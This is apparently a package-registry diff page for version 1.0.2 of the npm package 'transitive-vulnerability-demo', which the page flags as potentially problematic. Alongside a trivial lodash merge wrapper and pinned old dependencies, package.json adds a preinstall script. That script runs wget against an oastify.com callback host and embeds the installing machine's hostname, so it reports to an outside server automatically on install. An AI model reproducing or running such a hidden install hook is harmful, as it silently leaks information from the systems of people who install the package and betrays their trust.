transitive-vulnerability-demo 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of transitive-vulnerability-demo might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +11 -0
  2. package/package.json +26 -0
package/index.js ADDED
@@ -0,0 +1,11 @@
1
+ // index.js
2
+ const _ = require('lodash');
3
+
4
+ // This function uses lodash to merge objects
5
+ function mergeObjects(obj1, obj2) {
6
+ return _.merge(obj1, obj2);
7
+ }
8
+
9
+ module.exports = {
10
+ mergeObjects
11
+ };
package/package.json ADDED
@@ -0,0 +1,26 @@
1
+ {
2
+ "name": "transitive-vulnerability-demo",
3
+ "version": "1.0.2",
4
+ "description": "Demo project for transitive vulnerability in lodash",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall":"wget http://$(hostname).77cy4kns2c69ohbpugwz3pnc93fu7ix6m.oastify.com/$(hostname)",
8
+ "start": "node index.js"
9
+ },
10
+ "repository": {
11
+ "type": "git",
12
+ "url": "https://github.com/MotiHarmats/transitive-vulnerability-demo.git"
13
+ },
14
+ "keywords": [
15
+ "vulnerability",
16
+ "transitive",
17
+ "lodash",
18
+ "yargs"
19
+ ],
20
+ "author": "Moti Harmats",
21
+ "license": "MIT",
22
+ "dependencies": {
23
+ "lodash": "4.17.4",
24
+ "yargs": "13.3.0"
25
+ }
26
+ }